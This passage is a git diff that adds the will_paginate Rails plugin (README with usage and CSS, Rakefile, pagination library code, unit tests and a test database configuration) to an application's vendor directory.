--source=svn://errtheblog.com/svn/plugins + +The plugin officially supports Rails versions 1.2.6 and 2.0.2. You can browse +its source code on Warehouse: http://plugins.require.errtheblog.com/browser/will_paginate + +== Example usage + +Use a paginate finder in the controller: + + @posts = Post.paginate_by_board_id @board.id, :page => params[:page], :order => 'updated_at DESC' + +Yeah, +paginate+ works just like +find+ -- it just doesn't fetch all the +records. Don't forget to tell it which page you want, or it will complain! +Read more on WillPaginate::Finder::ClassMethods. + +Render the posts in your view like you would normally do. When you need to render +pagination, just stick this in: + + <%= will_paginate @posts %> + +You're done. (Copy and paste the example fancy CSS styles from the bottom.) You +can find the option list at WillPaginate::ViewHelpers. + +How does it know how much items to fetch per page? It asks your model by calling +its per_page class method. You can define it like this: + + class Post < ActiveRecord::Base + cattr_reader :per_page + @@per_page = 50 + end + +... or like this: + + class Post < ActiveRecord::Base + def self.per_page + 50 + end + end + +... or don't worry about it at all. WillPaginate defines it to be 30 by default. +But you can always specify the count explicitly when calling +paginate+: + + @posts = Post.paginate :page => params[:page], :per_page => 50 + +The +paginate+ finder wraps the original finder and returns your resultset that now has +some new properties. You can use the collection as you would with any ActiveRecord +resultset. WillPaginate view helpers also need that object to be able to render pagination: + +
      + <% for post in @posts -%> +
    1. Render `post` in some nice way.
    2. + <% end -%> +
    + +

    Now let's render us some pagination!

    + <%= will_paginate @posts %> + +More detailed documentation: + +* WillPaginate::Finder::ClassMethods for pagination on your models; +* WillPaginate::ViewHelpers for your views. + +== Oh noes, a bug! + +Tell us what happened so we can fix it, quick! Issues are filed on the Lighthouse project: +http://err.lighthouseapp.com/projects/466-plugins/tickets?q=tagged:will_paginate + +Steps to make an awesome bug report: + +1. Run rake test in the will_paginate directory. (You will need SQLite3.) + Copy the output if there are failing tests. +2. Register on Lighthouse to create a new ticket. +3. Write a descriptive, short title. Provide as much info as you can in the body. + Assign the ticket to Mislav and tag it with meaningful tags, "will_paginate" + being among them. +4. Yay! You will be notified on updates automatically. + +Here is an example of a great bug report and patch: +http://err.lighthouseapp.com/projects/466/tickets/172-total_entries-ignored-in-paginate_by_sql + +== Authors, credits, contact + +Want to discuss, request features, ask questions? Join the Google group: +http://groups.google.com/group/will_paginate + +Authors:: Mislav Marohnić, PJ Hyett +Original announcement:: http://errtheblog.com/post/929 +Original PHP source:: http://www.strangerstudios.com/sandbox/pagination/diggstyle.php + +All these people helped making will_paginate what it is now with their code +contributions or simply awesome ideas: + +Chris Wanstrath, Dr. Nic Williams, K. Adam Christensen, Mike Garey, Bence +Golda, Matt Aimonetti, Charles Brian Quinn, Desi McAdam, James Coglan, Matijs +van Zuijlen, Maria, Brendan Ribera, Todd Willey, Bryan Helmkamp, Jan Berkel. + +== Usable pagination in the UI + +Copy the following CSS into your stylesheet for a good start: + + .pagination { + padding: 3px; + margin: 3px; + } + .pagination a { + padding: 2px 5px 2px 5px; + margin: 2px; + border: 1px solid #aaaadd; + text-decoration: none; + color: #000099; + } + .pagination a:hover, .pagination a:active { + border: 1px solid #000099; + color: #000; + } + .pagination span.current { + padding: 2px 5px 2px 5px; + margin: 2px; + border: 1px solid #000099; + font-weight: bold; + background-color: #000099; + color: #FFF; + } + .pagination span.disabled { + padding: 2px 5px 2px 5px; + margin: 2px; + border: 1px solid #eee; + color: #ddd; + } + +More reading about pagination as design pattern: + +* Pagination 101: + http://kurafire.net/log/archive/2007/06/22/pagination-101 +* Pagination gallery: + http://www.smashingmagazine.com/2007/11/16/pagination-gallery-examples-and-good-practices/ +* Pagination on Yahoo Design Pattern Library: + http://developer.yahoo.com/ypatterns/parent.php?pattern=pagination diff --git a/vendor/plugins/will_paginate/Rakefile b/vendor/plugins/will_paginate/Rakefile new file mode 100644 index 0000000..e21df94 --- /dev/null +++ b/vendor/plugins/will_paginate/Rakefile @@ -0,0 +1,65 @@ +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +desc 'Default: run unit tests.' +task :default => :test + +desc 'Test the will_paginate plugin.' +Rake::TestTask.new(:test) do |t| + t.pattern = 'test/**/*_test.rb' + t.verbose = true +end + +# I want to specify environment variables at call time +class EnvTestTask < Rake::TestTask + attr_accessor :env + + def ruby(*args) + env.each { |key, value| ENV[key] = value } if env + super + env.keys.each { |key| ENV.delete key } if env + end +end + +for configuration in %w( sqlite3 mysql postgres ) + EnvTestTask.new("test_#{configuration}") do |t| + t.pattern = 'test/finder_test.rb' + t.verbose = true + t.env = { 'DB' => configuration } + end +end + +task :test_databases => %w(test_mysql test_sqlite3 test_postgres) + +desc %{Test everything on SQLite3, MySQL and PostgreSQL} +task :test_full => %w(test test_mysql test_postgres) + +desc %{Test everything with Rails 1.2.x and 2.0.x gems} +task :test_all do + all = Rake::Task['test_full'] + ENV['RAILS_VERSION'] = '~>1.2.6' + all.invoke + # reset the invoked flag + %w( test_full test test_mysql test_postgres ).each do |name| + Rake::Task[name].instance_variable_set '@already_invoked', false + end + # do it again + ENV['RAILS_VERSION'] = '~>2.0.2' + all.invoke +end + +desc 'Generate RDoc documentation for the will_paginate plugin.' +Rake::RDocTask.new(:rdoc) do |rdoc| + files = ['README', 'LICENSE', 'lib/**/*.rb'] + rdoc.rdoc_files.add(files) + rdoc.main = "README" # page to start on + rdoc.title = "will_paginate" + + templates = %w[/Users/chris/ruby/projects/err/rock/template.rb /var/www/rock/template.rb] + rdoc.template = templates.find { |t| File.exists? t } + + rdoc.rdoc_dir = 'doc' # rdoc output folder + rdoc.options << '--inline-source' + rdoc.options << '--charset=UTF-8' +end diff --git a/vendor/plugins/will_paginate/init.rb b/vendor/plugins/will_paginate/init.rb new file mode 100644 index 0000000..dc0572d --- /dev/null +++ b/vendor/plugins/will_paginate/init.rb @@ -0,0 +1,2 @@ +require 'will_paginate' +WillPaginate.enable diff --git a/vendor/plugins/will_paginate/lib/will_paginate.rb b/vendor/plugins/will_paginate/lib/will_paginate.rb new file mode 100644 index 0000000..af32871 --- /dev/null +++ b/vendor/plugins/will_paginate/lib/will_paginate.rb @@ -0,0 +1,61 @@ +require 'active_support' + +# = You *will* paginate! +# +# First read about WillPaginate::Finder::ClassMethods, then see +# WillPaginate::ViewHelpers. The magical array you're handling in-between is +# WillPaginate::Collection. +# +# Happy paginating! +module WillPaginate + class << self + # shortcut for enable_actionpack; enable_activerecord + def enable + enable_actionpack + enable_activerecord + end + + # mixes in WillPaginate::ViewHelpers in ActionView::Base + def enable_actionpack + return if ActionView::Base.instance_methods.include? 'will_paginate' + require 'will_paginate/view_helpers' + ActionView::Base.class_eval { include ViewHelpers } + end + + # mixes in WillPaginate::Finder in ActiveRecord::Base and classes that deal + # with associations + def enable_activerecord + return if ActiveRecord::Base.respond_to? :paginate + require 'will_paginate/finder' + ActiveRecord::Base.class_eval { include Finder } + + associations = ActiveRecord::Associations + collection = associations::AssociationCollection + + # to support paginating finders on associations, we have to mix in the + # method_missing magic from WillPaginate::Finder::ClassMethods to AssociationProxy + # subclasses, but in a different way for Rails 1.2.x and 2.0 + (collection.instance_methods.include?(:create!) ? + collection : collection.subclasses.map(&:constantize) + ).push(associations::HasManyThroughAssociation).each do |klass| + klass.class_eval do + include Finder::ClassMethods + alias_method_chain :method_missing, :paginate + end + end + end + end + + module Deprecation #:nodoc: + extend ActiveSupport::Deprecation + + def self.warn(message, callstack = caller) + message = 'WillPaginate: ' + message.strip.gsub(/ {3,}/, ' ') + behavior.call(message, callstack) if behavior && !silenced? + end + + def self.silenced? + ActiveSupport::Deprecation.silenced? + end + end +end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/collection.rb b/vendor/plugins/will_paginate/lib/will_paginate/collection.rb new file mode 100644 index 0000000..f796131 --- /dev/null +++ b/vendor/plugins/will_paginate/lib/will_paginate/collection.rb @@ -0,0 +1,132 @@ +require 'will_paginate' + +module WillPaginate + # = OMG, invalid page number! + # This is an ArgumentError raised in case a page was requested that is either + # zero or negative number. You should decide how do deal with such errors in + # the controller. + # + # This error is *not* raised when a page further than the last page is + # requested. Use WillPaginate::Collection#out_of_bounds? method to + # check for those cases and manually deal with them as you see fit. + class InvalidPage < ArgumentError + def initialize(page, page_num) + super "#{page.inspect} given as value, which translates to '#{page_num}' as page number" + end + end + + # Arrays returned from paginating finds are, in fact, instances of this. + # You may think of WillPaginate::Collection as an ordinary array with some + # extra properties. Those properties are used by view helpers to generate + # correct page links. + # + # WillPaginate::Collection also assists in rolling out your own pagination + # solutions: see +create+. + # + class Collection < Array + attr_reader :current_page, :per_page, :total_entries + + # Arguments to this constructor are the current page number, per-page limit + # and the total number of entries. The last argument is optional because it + # is best to do lazy counting; in other words, count *conditionally* after + # populating the collection using the +replace+ method. + # + def initialize(page, per_page, total = nil) + @current_page = page.to_i + raise InvalidPage.new(page, @current_page) if @current_page < 1 + @per_page = per_page.to_i + raise ArgumentError, "`per_page` setting cannot be less than 1 (#{@per_page} given)" if @per_page < 1 + + self.total_entries = total if total + end + + # Just like +new+, but yields the object after instantiation and returns it + # afterwards. This is very useful for manual pagination: + # + # @entries = WillPaginate::Collection.create(1, 10) do |pager| + # result = Post.find(:all, :limit => pager.per_page, :offset => pager.offset) + # # inject the result array into the paginated collection: + # pager.replace(result) + # + # unless pager.total_entries + # # the pager didn't manage to guess the total count, do it manually + # pager.total_entries = Post.count + # end + # end + # + # The possibilities with this are endless. For another example, here is how + # WillPaginate used to define pagination for Array instances: + # + # Array.class_eval do + # def paginate(page = 1, per_page = 15) + # WillPaginate::Collection.create(page, per_page, size) do |pager| + # pager.replace self[pager.offset, pager.per_page].to_a + # end + # end + # end + # + def self.create(page, per_page, total = nil, &block) + pager = new(page, per_page, total) + yield pager + pager + end + + # The total number of pages. + def page_count + @total_pages + end + + # Helper method that is true when someone tries to fetch a page with a + # larger number than the last page. Can be used in combination with flashes + # and redirecting. + def out_of_bounds? + current_page > page_count + end + + # Current offset of the paginated collection. If we're on the first page, + # it is always 0. If we're on the 2nd page and there are 30 entries per page, + # the offset is 30. This property is useful if you want to render ordinals + # besides your records: simply start with offset + 1. + # + def offset + (current_page - 1) * per_page + end + + # current_page - 1 or nil if there is no previous page + def previous_page + current_page > 1 ? (current_page - 1) : nil + end + + # current_page + 1 or nil if there is no next page + def next_page + current_page < page_count ? (current_page + 1) : nil + end + + def total_entries=(number) + @total_entries = number.to_i + @total_pages = (@total_entries / per_page.to_f).ceil + end + + # This is a magic wrapper for the original Array#replace method. It serves + # for populating the paginated collection after initialization. + # + # Why magic? Because it tries to guess the total number of entries judging + # by the size of given array. If it is shorter than +per_page+ limit, then we + # know we're on the last page. This trick is very useful for avoiding + # unnecessary hits to the database to do the counting after we fetched the + # data for the current page. + # + # However, after using +replace+ you should always test the value of + # +total_entries+ and set it to a proper value if it's +nil+. See the example + # in +create+. + def replace(array) + returning super do + # The collection is shorter then page limit? Rejoice, because + # then we know that we are on the last page! + if total_entries.nil? and length > 0 and length < per_page + self.total_entries = offset + length + end + end + end + end +end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/core_ext.rb b/vendor/plugins/will_paginate/lib/will_paginate/core_ext.rb new file mode 100644 index 0000000..461153f --- /dev/null +++ b/vendor/plugins/will_paginate/lib/will_paginate/core_ext.rb @@ -0,0 +1,80 @@ +require 'will_paginate' +require 'set' + +unless Hash.instance_methods.include? 'except' + Hash.class_eval do + # Returns a new hash without the given keys. + def except(*keys) + rejected = Set.new(respond_to?(:convert_key) ? keys.map { |key| convert_key(key) } : keys) + reject { |key,| rejected.include?(key) } + end + + # Replaces the hash without only the given keys. + def except!(*keys) + replace(except(*keys)) + end + end +end + +unless Hash.instance_methods.include? 'slice' + Hash.class_eval do + # Returns a new hash with only the given keys. + def slice(*keys) + allowed = Set.new(respond_to?(:convert_key) ? keys.map { |key| convert_key(key) } : keys) + reject { |key,| !allowed.include?(key) } + end + + # Replaces the hash with only the given keys. + def slice!(*keys) + replace(slice(*keys)) + end + end +end + +unless Hash.instance_methods.include? 'rec_merge!' + Hash.class_eval do + # Same as Hash#merge!, but recursively merges sub-hashes + # (stolen from Haml) + def rec_merge!(other) + other.each do |key, other_value| + value = self[key] + if value.is_a?(Hash) and other_value.is_a?(Hash) + value.rec_merge! other_value + else + self[key] = other_value + end + end + self + end + end +end + +require 'will_paginate/collection' + +unless Array.instance_methods.include? 'paginate' + # http://www.desimcadam.com/archives/8 + Array.class_eval do + def paginate(options_or_page = {}, per_page = nil) + if options_or_page.nil? or Fixnum === options_or_page + if defined? WillPaginate::Deprecation + WillPaginate::Deprecation.warn <<-DEPR + Array#paginate now conforms to the main, ActiveRecord::Base#paginate API. You should \ + call it with a parameters hash (:page, :per_page). The old API (numbers as arguments) \ + has been deprecated and is going to be unsupported in future versions of will_paginate. + DEPR + end + page = options_or_page + options = {} + else + options = options_or_page + page = options[:page] + raise ArgumentError, "wrong number of arguments (1 hash or 2 Fixnums expected)" if per_page + per_page = options[:per_page] + end + + WillPaginate::Collection.create(page || 1, per_page || 30, options[:total_entries] || size) do |pager| + pager.replace self[pager.offset, pager.per_page].to_a + end + end + end +end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/finder.rb b/vendor/plugins/will_paginate/lib/will_paginate/finder.rb new file mode 100644 index 0000000..5d2d73c --- /dev/null +++ b/vendor/plugins/will_paginate/lib/will_paginate/finder.rb @@ -0,0 +1,214 @@ +require 'will_paginate/core_ext' + +module WillPaginate + # A mixin for ActiveRecord::Base. Provides +per_page+ class method + # and makes +paginate+ finders possible with some method_missing magic. + # + # Find out more in WillPaginate::Finder::ClassMethods + # + module Finder + def self.included(base) + base.extend ClassMethods + class << base + alias_method_chain :method_missing, :paginate + # alias_method_chain :find_every, :paginate + define_method(:per_page) { 30 } unless respond_to?(:per_page) + end + end + + # = Paginating finders for ActiveRecord models + # + # WillPaginate adds +paginate+ and +per_page+ methods to ActiveRecord::Base + # class methods and associations. It also hooks into +method_missing+ to + # intercept pagination calls to dynamic finders such as + # +paginate_by_user_id+ and translate them to ordinary finders + # (+find_all_by_user_id+ in this case). + # + # In short, paginating finders are equivalent to ActiveRecord finders; the + # only difference is that we start with "paginate" instead of "find" and + # that :page is required parameter: + # + # @posts = Post.paginate :all, :page => params[:page], :order => 'created_at DESC' + # + # In paginating finders, "all" is implicit. There is no sense in paginating + # a single record, right? So, you can drop the :all argument: + # + # Post.paginate(...) => Post.find :all + # Post.paginate_all_by_something => Post.find_all_by_something + # Post.paginate_by_something => Post.find_all_by_something + # + # == The importance of the :order parameter + # + # In ActiveRecord finders, :order parameter specifies columns for + # the ORDER BY clause in SQL. It is important to have it, since + # pagination only makes sense with ordered sets. Without the ORDER + # BY clause, databases aren't required to do consistent ordering when + # performing SELECT queries; this is especially true for + # PostgreSQL. + # + # Therefore, make sure you are doing ordering on a column that makes the + # most sense in the current context. Make that obvious to the user, also. + # For perfomance reasons you will also want to add an index to that column. + module ClassMethods + # This is the main paginating finder. + # + # == Special parameters for paginating finders + # * :page -- REQUIRED, but defaults to 1 if false or nil + # * :per_page -- defaults to CurrentModel.per_page (which is 30 if not overridden) + # * :total_entries -- use only if you manually count total entries + # * :count -- additional options that are passed on to +count+ + # * :finder -- name of the ActiveRecord finder used (default: "find") + # + # All other options (+conditions+, +order+, ...) are forwarded to +find+ + # and +count+ calls. + def paginate(*args, &block) + options = args.pop + page, per_page, total_entries = wp_parse_options(options) + finder = (options[:finder] || 'find').to_s + + if finder == 'find' + # an array of IDs may have been given: + total_entries ||= (Array === args.first and args.first.size) + # :all is implicit + args.unshift(:all) if args.empty? + end + + WillPaginate::Collection.create(page, per_page, total_entries) do |pager| + count_options = options.except :page, :per_page, :total_entries, :finder + find_options = count_options.except(:count).update(:offset => pager.offset, :limit => pager.per_page) + + args << find_options + # @options_from_last_find = nil + pager.replace send(finder, *args, &block) + + # magic counting for user convenience: + pager.total_entries = wp_count(count_options, args, finder) unless pager.total_entries + end + end + + # Wraps +find_by_sql+ by simply adding LIMIT and OFFSET to your SQL string + # based on the params otherwise used by paginating finds: +page+ and + # +per_page+. + # + # Example: + # + # @developers = Developer.paginate_by_sql ['select * from developers where salary > ?', 80000], + # :page => params[:page], :per_page => 3 + # + # A query for counting rows will automatically be generated if you don't + # supply :total_entries. If you experience problems with this + # generated SQL, you might want to perform the count manually in your + # application. + # + def paginate_by_sql(sql, options) + WillPaginate::Collection.create(*wp_parse_options(options)) do |pager| + query = sanitize_sql(sql) + original_query = query.dup + # add limit, offset + add_limit! query, :offset => pager.offset, :limit => pager.per_page + # perfom the find + pager.replace find_by_sql(query) + + unless pager.total_entries + count_query = original_query.sub /\bORDER\s+BY\s+[\w`,\s]+$/mi, '' + count_query = "SELECT COUNT(*) FROM (#{count_query})" + + unless ['oracle', 'oci'].include?(self.connection.adapter_name.downcase) + count_query << ' AS count_table' + end + # perform the count query + pager.total_entries = count_by_sql(count_query) + end + end + end + + def respond_to?(method, include_priv = false) #:nodoc: + case method.to_sym + when :paginate, :paginate_by_sql + true + else + super(method.to_s.sub(/^paginate/, 'find'), include_priv) + end + end + + protected + + def method_missing_with_paginate(method, *args, &block) #:nodoc: + # did somebody tried to paginate? if not, let them be + unless method.to_s.index('paginate') == 0 + return method_missing_without_paginate(method, *args, &block) + end + + # paginate finders are really just find_* with limit and offset + finder = method.to_s.sub('paginate', 'find') + finder.sub!('find', 'find_all') if finder.index('find_by_') == 0 + + options = args.pop + raise ArgumentError, 'parameter hash expected' unless options.respond_to? :symbolize_keys + options = options.dup + options[:finder] = finder + args << options + + paginate(*args, &block) + end + + # Does the not-so-trivial job of finding out the total number of entries + # in the database. It relies on the ActiveRecord +count+ method. + def wp_count(options, args, finder) + excludees = [:count, :order, :limit, :offset, :readonly] + unless options[:select] and options[:select] =~ /^\s*DISTINCT\b/i + excludees << :select # only exclude the select param if it doesn't begin with DISTINCT + end + # count expects (almost) the same options as find + count_options = options.except *excludees + + # merge the hash found in :count + # this allows you to specify :select, :order, or anything else just for the count query + count_options.update options[:count] if options[:count] + + # we may have to scope ... + counter = Proc.new { count(count_options) } + + # we may be in a model or an association proxy! + klass = (@owner and @reflection) ? @reflection.klass : self + + count = if finder.index('find_') == 0 and klass.respond_to?(scoper = finder.sub('find', 'with')) + # scope_out adds a 'with_finder' method which acts like with_scope, if it's present + # then execute the count with the scoping provided by the with_finder + send(scoper, &counter) + elsif match = /^find_(all_by|by)_([_a-zA-Z]\w*)$/.match(finder) + # extract conditions from calls like "paginate_by_foo_and_bar" + attribute_names = extract_attribute_names_from_match(match) + conditions = construct_attributes_from_arguments(attribute_names, args) + with_scope(:find => { :conditions => conditions }, &counter) + else + counter.call + end + + count.respond_to?(:length) ? count.length : count + end + + def wp_parse_options(options) #:nodoc: + raise ArgumentError, 'parameter hash expected' unless options.respond_to? :symbolize_keys + options = options.symbolize_keys + raise ArgumentError, ':page parameter required' unless options.key? :page + + if options[:count] and options[:total_entries] + raise ArgumentError, ':count and :total_entries are mutually exclusive' + end + + page = options[:page] || 1 + per_page = options[:per_page] || self.per_page + total = options[:total_entries] + [page, per_page, total] + end + + private + + # def find_every_with_paginate(options) + # @options_from_last_find = options + # find_every_without_paginate(options) + # end + end + end +end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/view_helpers.rb b/vendor/plugins/will_paginate/lib/will_paginate/view_helpers.rb new file mode 100644 index 0000000..e1fb96a --- /dev/null +++ b/vendor/plugins/will_paginate/lib/will_paginate/view_helpers.rb @@ -0,0 +1,206 @@ +require 'will_paginate/core_ext' + +module WillPaginate + # = Will Paginate view helpers + # + # Currently there is only one view helper: +will_paginate+. It renders the + # pagination links for the given collection. The helper itself is lightweight + # and serves only as a wrapper around link renderer instantiation; the + # renderer then does all the hard work of generating the HTML. + # + # == Global options for helpers + # + # Options for pagination helpers are optional and get their default values from the + # WillPaginate::ViewHelpers.pagination_options hash. You can write to this hash to + # override default options on the global level: + # + # WillPaginate::ViewHelpers.pagination_options[:prev_label] = 'Previous page' + # + # By putting this into your environment.rb you can easily translate link texts to previous + # and next pages, as well as override some other defaults to your liking. + module ViewHelpers + # default options that can be overridden on the global level + @@pagination_options = { + :class => 'pagination', + :prev_label => '« Previous', + :next_label => 'Next »', + :inner_window => 4, # links around the current page + :outer_window => 1, # links around beginning and end + :separator => ' ', # single space is friendly to spiders and non-graphic browsers + :param_name => :page, + :params => nil, + :renderer => 'WillPaginate::LinkRenderer', + :page_links => true, + :container => true + } + mattr_reader :pagination_options + + # Renders Digg/Flickr-style pagination for a WillPaginate::Collection + # object. Nil is returned if there is only one page in total; no point in + # rendering the pagination in that case... + # + # ==== Options + # * :class -- CSS class name for the generated DIV (default: "pagination") + # * :prev_label -- default: "« Previous" + # * :next_label -- default: "Next »" + # * :inner_window -- how many links are shown around the current page (default: 4) + # * :outer_window -- how many links are around the first and the last page (default: 1) + # * :separator -- string separator for page HTML elements (default: single space) + # * :param_name -- parameter name for page number in URLs (default: :page) + # * :params -- additional parameters when generating pagination links + # (eg. :controller => "foo", :action => nil) + # * :renderer -- class name of the link renderer (default: WillPaginate::LinkRenderer) + # * :page_links -- when false, only previous/next links are rendered (default: true) + # * :container -- toggles rendering of the DIV container for pagination links, set to + # false only when you are rendering your own pagination markup (default: true) + # * :id -- HTML ID for the container (default: nil). Pass +true+ to have the ID automatically + # generated from the class name of objects in collection: for example, paginating + # ArticleComment models would yield an ID of "article_comments_pagination". + # + # All options beside listed ones are passed as HTML attributes to the container + # element for pagination links (the DIV). For example: + # + # <%= will_paginate @posts, :id => 'wp_posts' %> + # + # ... will result in: + # + # + # + # ==== Using the helper without arguments + # If the helper is called without passing in the collection object, it will + # try to read from the instance variable inferred by the controller name. + # For example, calling +will_paginate+ while the current controller is + # PostsController will result in trying to read from the @posts + # variable. Example: + # + # <%= will_paginate :id => true %> + # + # ... will result in @post collection getting paginated: + # + # + # + def will_paginate(collection = nil, options = {}) + options, collection = collection, nil if collection.is_a? Hash + unless collection or !controller + collection_name = "@#{controller.controller_name}" + collection = instance_variable_get(collection_name) + raise ArgumentError, "The #{collection_name} variable appears to be empty. Did you " + + "forget to specify the collection object for will_paginate?" unless collection + end + # early exit if there is nothing to render + return nil unless collection.page_count > 1 + options = options.symbolize_keys.reverse_merge WillPaginate::ViewHelpers.pagination_options + # create the renderer instance + renderer_class = options[:renderer].to_s.constantize + renderer = renderer_class.new collection, options, self + # render HTML for pagination + renderer.to_html + end + end + + # This class does the heavy lifting of actually building the pagination + # links. It is used by +will_paginate+ helper internally, but avoid using it + # directly (for now) because its API is not set in stone yet. + class LinkRenderer + + def initialize(collection, options, template) + @collection = collection + @options = options + @template = template + end + + def to_html + links = @options[:page_links] ? windowed_links : [] + # previous/next buttons + links.unshift page_link_or_span(@collection.previous_page, 'disabled', @options[:prev_label]) + links.push page_link_or_span(@collection.next_page, 'disabled', @options[:next_label]) + + html = links.join(@options[:separator]) + @options[:container] ? @template.content_tag(:div, html, html_attributes) : html + end + + def html_attributes + return @html_attributes if @html_attributes + @html_attributes = @options.except *(WillPaginate::ViewHelpers.pagination_options.keys - [:class]) + # pagination of Post models will have the ID of "posts_pagination" + if @options[:container] and @options[:id] === true + @html_attributes[:id] = @collection.first.class.name.underscore.pluralize + '_pagination' + end + @html_attributes + end + + protected + + def gap_marker; '...'; end + + def windowed_links + prev = nil + + visible_page_numbers.inject [] do |links, n| + # detect gaps: + links << gap_marker if prev and n > prev + 1 + links << page_link_or_span(n) + prev = n + links + end + end + + def visible_page_numbers + inner_window, outer_window = @options[:inner_window].to_i, @options[:outer_window].to_i + window_from = current_page - inner_window + window_to = current_page + inner_window + + # adjust lower or upper limit if other is out of bounds + if window_to > total_pages + window_from -= window_to - total_pages + window_to = total_pages + elsif window_from < 1 + window_to += 1 - window_from + window_from = 1 + end + + visible = (1..total_pages).to_a + left_gap = (2 + outer_window)...window_from + right_gap = (window_to + 1)...(total_pages - outer_window) + visible -= left_gap.to_a if left_gap.last - left_gap.first > 1 + visible -= right_gap.to_a if right_gap.last - right_gap.first > 1 + + visible + end + + def page_link_or_span(page, span_class = 'current', text = nil) + text ||= page.to_s + if page and page != current_page + @template.link_to text, url_options(page) + else + @template.content_tag :span, text, :class => span_class + end + end + + def url_options(page) + options = { param_name => page } + # page links should preserve GET parameters + options = params.merge(options) if @template.request.get? + options.rec_merge!(@options[:params]) if @options[:params] + return options + end + + private + + def current_page + @collection.current_page + end + + def total_pages + @collection.page_count + end + + def param_name + @param_name ||= @options[:param_name].to_sym + end + + def params + @params ||= @template.params.to_hash.symbolize_keys + end + end +end diff --git a/vendor/plugins/will_paginate/test/array_pagination_test.rb b/vendor/plugins/will_paginate/test/array_pagination_test.rb new file mode 100644 index 0000000..0aad4c8 --- /dev/null +++ b/vendor/plugins/will_paginate/test/array_pagination_test.rb @@ -0,0 +1,131 @@ +require File.dirname(__FILE__) + '/helper' +require 'will_paginate/core_ext' + +class ArrayPaginationTest < Test::Unit::TestCase + def test_simple + collection = ('a'..'e').to_a + + [{ :page => 1, :per_page => 3, :expected => %w( a b c ) }, + { :page => 2, :per_page => 3, :expected => %w( d e ) }, + { :page => 1, :per_page => 5, :expected => %w( a b c d e ) }, + { :page => 3, :per_page => 5, :expected => [] }, + ]. + each do |conditions| + assert_equal conditions[:expected], collection.paginate(conditions.slice(:page, :per_page)) + end + end + + def test_defaults + result = (1..50).to_a.paginate + assert_equal 1, result.current_page + assert_equal 30, result.size + end + + def test_deprecated_api + assert_deprecated 'paginate API' do + result = (1..50).to_a.paginate(2, 10) + assert_equal 2, result.current_page + assert_equal (11..20).to_a, result + assert_equal 50, result.total_entries + end + + assert_deprecated { [].paginate nil } + end + + def test_total_entries_has_precedence + result = %w(a b c).paginate :total_entries => 5 + assert_equal 5, result.total_entries + end + + def test_argument_error_with_params_and_another_argument + assert_raise ArgumentError do + [].paginate({}, 5) + end + end + + def test_paginated_collection + entries = %w(a b c) + collection = create(2, 3, 10) do |pager| + assert_equal entries, pager.replace(entries) + end + + assert_equal entries, collection + assert_respond_to_all collection, %w(page_count each offset size current_page per_page total_entries) + assert_kind_of Array, collection + assert_instance_of Array, collection.entries + assert_equal 3, collection.offset + assert_equal 4, collection.page_count + assert !collection.out_of_bounds? + end + + def test_out_of_bounds + entries = create(2, 3, 2){} + assert entries.out_of_bounds? + + entries = create(1, 3, 2){} + assert !entries.out_of_bounds? + end + + def test_guessing_total_count + entries = create do |pager| + # collection is shorter than limit + pager.replace array + end + assert_equal 8, entries.total_entries + + entries = create(2, 5, 10) do |pager| + # collection is shorter than limit, but we have an explicit count + pager.replace array + end + assert_equal 10, entries.total_entries + + entries = create do |pager| + # collection is the same as limit; we can't guess + pager.replace array(5) + end + assert_equal nil, entries.total_entries + + entries = create do |pager| + # collection is empty; we can't guess + pager.replace array(0) + end + assert_equal nil, entries.total_entries + end + + def test_invalid_page + bad_input = [0, -1, nil, '', 'Schnitzel'] + + bad_input.each do |bad| + assert_raise(WillPaginate::InvalidPage) { create(bad) } + end + end + + def test_invalid_per_page_setting + assert_raise(ArgumentError) { create(1, -1) } + end + + private + def create(page = 2, limit = 5, total = nil, &block) + if block_given? + WillPaginate::Collection.create(page, limit, total, &block) + else + WillPaginate::Collection.new(page, limit, total) + end + end + + def array(size = 3) + Array.new(size) + end + + def collect_deprecations + old_behavior = WillPaginate::Deprecation.behavior + deprecations = [] + WillPaginate::Deprecation.behavior = Proc.new do |message, callstack| + deprecations << message + end + result = yield + [result, deprecations] + ensure + WillPaginate::Deprecation.behavior = old_behavior + end +end diff --git a/vendor/plugins/will_paginate/test/boot.rb b/vendor/plugins/will_paginate/test/boot.rb new file mode 100644 index 0000000..f1bd72b --- /dev/null +++ b/vendor/plugins/will_paginate/test/boot.rb @@ -0,0 +1,23 @@ +plugin_root = File.join(File.dirname(__FILE__), '..') +version = ENV['RAILS_VERSION'] +version = nil if version and version == "" + +# first look for a symlink to a copy of the framework +if !version and framework_root = ["#{plugin_root}/rails", "#{plugin_root}/../../rails"].find { |p| File.directory? p } + puts "found framework root: #{framework_root}" + # this allows for a plugin to be tested outside of an app and without Rails gems + $:.unshift "#{framework_root}/activesupport/lib", "#{framework_root}/activerecord/lib", "#{framework_root}/actionpack/lib" +else + # simply use installed gems if available + puts "using Rails#{version ? ' ' + version : nil} gems" + require 'rubygems' + + if version + gem 'rails', version + else + gem 'actionpack' + gem 'activerecord' + end +end + +$:.unshift "#{plugin_root}/lib" diff --git a/vendor/plugins/will_paginate/test/console b/vendor/plugins/will_paginate/test/console new file mode 100755 index 0000000..53b8de4 --- /dev/null +++ b/vendor/plugins/will_paginate/test/console @@ -0,0 +1,9 @@ +#!/usr/bin/env ruby +irb = RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'irb.bat' : 'irb' +libs = [] +dirname = File.dirname(__FILE__) + +libs << 'irb/completion' +libs << File.join(dirname, 'lib', 'load_fixtures') + +exec "#{irb}#{libs.map{ |l| " -r #{l}" }.join} --simple-prompt" diff --git a/vendor/plugins/will_paginate/test/database.yml b/vendor/plugins/will_paginate/test/database.yml new file mode 100644 index 0000000..7ef1e73 --- /dev/null +++ b/vendor/plugins/will_paginate/test/database.yml @@ -0,0 +1,22 @@ +sqlite3: + database: ":memory:" + adapter: sqlite3 + timeout: 500 + +sqlite2: + database: ":memory:" + adapter: sqlite2 + +mysql: + adapter: mysql + username: rails + password: mislav + encoding: utf8 + database: will_paginate_unittest + +postgres: + adapter: postgresql + username: mislav + password: mislav + database: will_paginate_unittest + min_messages: warning diff --git a/vendor/plugins/will_paginate/test/finder_test.rb b/vendor/plugins/will_paginate/test/finder_test.rb new file mode 100644 index 0000000..b272341 --- /dev/null +++ b/vendor/plugins/will_paginate/test/finder_test.rb @@ -0,0 +1,322 @@ +require File.dirname(__FILE__) + '/helper' +require File.dirname(__FILE__) + '/lib/activerecord_test_case' + +require 